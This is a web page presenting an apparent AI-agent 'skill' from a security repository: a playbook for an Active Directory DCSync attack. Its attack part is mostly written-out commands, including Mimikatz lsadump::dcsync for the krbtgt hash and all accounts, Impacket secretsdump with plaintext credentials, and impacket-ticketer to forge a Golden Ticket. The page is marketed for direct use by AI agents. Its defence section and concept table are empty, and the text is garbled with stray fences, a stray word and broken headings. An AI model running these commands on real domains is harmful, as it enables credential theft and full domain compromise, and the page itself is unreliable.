Ad dcsync attack

From ShulkwiSEC/bb-huge · View interactive version

Ad dcsync attack is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Exploit Active Directory replication privileges (DS-Replication-Get-Changes) to perform a DCSync attack, allowing an attacker to impersonate a Domain Controller and extract password hashes (like the krbtgt hash for Golden Tickets) without code execution on a DC.

How to use this skill

Skill file

Active Directory DCSync Attack

When to Use

Prerequisites

Workflow

Phase 1: Identifying the Target (krbtgt) and Access Rights

# ```

### Phase 2: Execution via Mimikatz (Windows)

privilege::debug

lsadump::dcsync /domain:lab.local /user:krbtgt

lsadump::dcsync /domain:lab.local /all /csv


### Phase 3: Execution via Impacket (Linux/Network)

impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@10.10.10.10

beautifully impacket-secretsdump lab.local/administrator:Password123@10.10.10.10


### Phase 4: Utilizing the Material (Golden Ticket)

impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain lab.local Administrator


#### Decision Point 🔀

flowchart TD

A[Identify Rights ] --> B{Possess Rights ]}

B -->|Yes| C[Execute DCSync ]

B -->|No| D[Escalate Privileges ]

C --> E[Extract Hashes ]


## 🔵 Blue Team Detection & Defense
- **Monitor Directory Replication events**: **Review ACLs for Replication Rights (BloodHound / ADAC)**: **Network Segmentation & Monitoring**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Ad Dcsync Attack — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.